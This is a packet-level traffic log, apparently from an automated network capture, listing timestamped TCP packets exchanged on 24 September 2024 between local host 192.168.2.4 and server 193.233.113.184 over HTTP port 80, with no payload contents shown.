Sep 24, 2024 21:30:09.575625896 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.575654030 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.575654984 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.575675964 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.575751066 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.576195955 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.576229095 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.576261997 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.576301098 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.576314926 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.576323986 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.576349974 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.576364040 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.576385021 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.576397896 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.576431990 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.577146053 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.577181101 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.577200890 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.577215910 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.577227116 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.577251911 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.577270031 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.577285051 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.577299118 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.577318907 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.577330112 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.577353001 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.577366114 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.577398062 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.578145027 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.578177929 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.578197002 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.578213930 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.578247070 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.578248978 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.578280926 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.578285933 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.578295946 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.578315973 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.578331947 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.578349113 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.578362942 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.578397036 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.579104900 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.579139948 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.579168081 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.579174995 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.579200983 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.579209089 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.579224110 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.579242945 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.579272032 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.579276085 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.579302073 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.579309940 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.579334021 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.579380035 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.580102921 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.580137014 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.580158949 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.580168962 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.580193996 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.580204010 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.580224037 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.580239058 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.580251932 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.580272913 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.580286026 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.580322981 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.581100941 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.581135988 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.581161022 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.581168890 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.581185102 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.581202984 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.581212997 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.581237078 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.581248045 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.581270933 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.581280947 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.581306934 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.581326008 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.581356049 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.581989050 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.582042933 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.582045078 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.582077980 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.582093954 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.582113981 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.582134008 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.582149982 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.582163095 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.582185984 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.582205057 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.582217932 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.582232952 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.582264900 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.582844019 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.582879066 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.582911968 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.582946062 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.582982063 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.583018064 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.583050966 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.583082914 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.583146095 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.583774090 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.583808899 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.583838940 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.583842993 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.583878040 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.583884001 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.583910942 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.583919048 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.583936930 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.583945990 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.583961010 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.583982944 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.584001064 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.584098101 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.584117889 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.584162951 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.584660053 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.584692955 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.584711075 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.584728003 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.584748983 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.584762096 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.584779978 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.584794998 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.584829092 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.584855080 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.584861994 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.584897041 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.584897995 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.584928989 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.584949017 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.585582972 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.585618019 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.585642099 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.585650921 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.585670948 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.585685015 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.585699081 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.585717916 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.585725069 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.585752010 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.585784912 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.585798979 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.585819006 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.585824966 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.585846901 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.585880995 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.586513042 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.586546898 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.586571932 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.586580992 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.586594105 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.586616039 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.586628914 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.586657047 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.586675882 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.586689949 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.586707115 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.586724043 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.586740017 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.586757898 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.586771011 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.586802006 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.587441921 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.587476969 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.587506056 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.587513924 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.587527037 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.587548018 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.587562084 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.587582111 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.587594986 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.587615967 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.587630987 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.587651014 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.587661982 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.587686062 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.587697029 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.587729931 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.588332891 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.588382006 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.588392019 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.588417053 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.588449955 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.588450909 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.588478088 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.588485956 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.588500977 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.588521004 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.588532925 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.588555098 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.588565111 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.588589907 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.588614941 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.588654995 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.589272022 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.589306116 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.589325905 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.589339972 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.589370966 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.589375019 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.589401007 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.589409113 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.589411974 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.589442968 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.589452982 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.589478016 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.589493036 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.589515924 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.589526892 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.589557886 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.590127945 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.590159893 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.590183973 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.590198994 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.590214014 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.590233088 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.590245962 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.590267897 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.590280056 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.590301991 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.590313911 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.590337038 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.590347052 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.590383053 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.591051102 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.591084957 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.591106892 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.591116905 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.591125011 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.591152906 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.591166973 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.591186047 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.591197014 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.591221094 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.591232061 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.591255903 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.591264963 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.591290951 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.591316938 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.591325045 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.591341019 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.591378927 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.591969967 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.591985941 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.592000961 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.592016935 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.592020988 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.592032909 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.592046022 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.592051029 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.592067957 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.592083931 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.592083931 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.592098951 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.592107058 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.592158079 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.592947006 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.592964888 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.592978954 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.592994928 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.593010902 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.593012094 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.593027115 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.593038082 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.593043089 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.593059063 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.593060017 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.593075991 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.593111038 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.593152046 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.593854904 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.593871117 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.593884945 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.593899965 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.593900919 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.593918085 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.593930006 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.593934059 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.593950987 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.593966961 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.593967915 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.593985081 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.593990088 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.594008923 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.594047070 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.594788074 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.594803095 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.594818115 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.594834089 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.594850063 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.594865084 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.594878912 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.594892025 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.594894886 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.594911098 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.594914913 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.594937086 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.594975948 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.595649004 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.595664978 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.595690966 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.595696926 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.595706940 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.595719099 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.595724106 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.595737934 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.595741034 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.595757961 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.595760107 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.595774889 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.595789909 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.595793962 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.595815897 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.595844984 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.596513033 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.596529961 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.596544981 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.596560955 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.596573114 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.596576929 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.596592903 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.596609116 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.596625090 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.596626043 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.596642971 CEST	80	49730	193.233.113.184	192.168.2.4
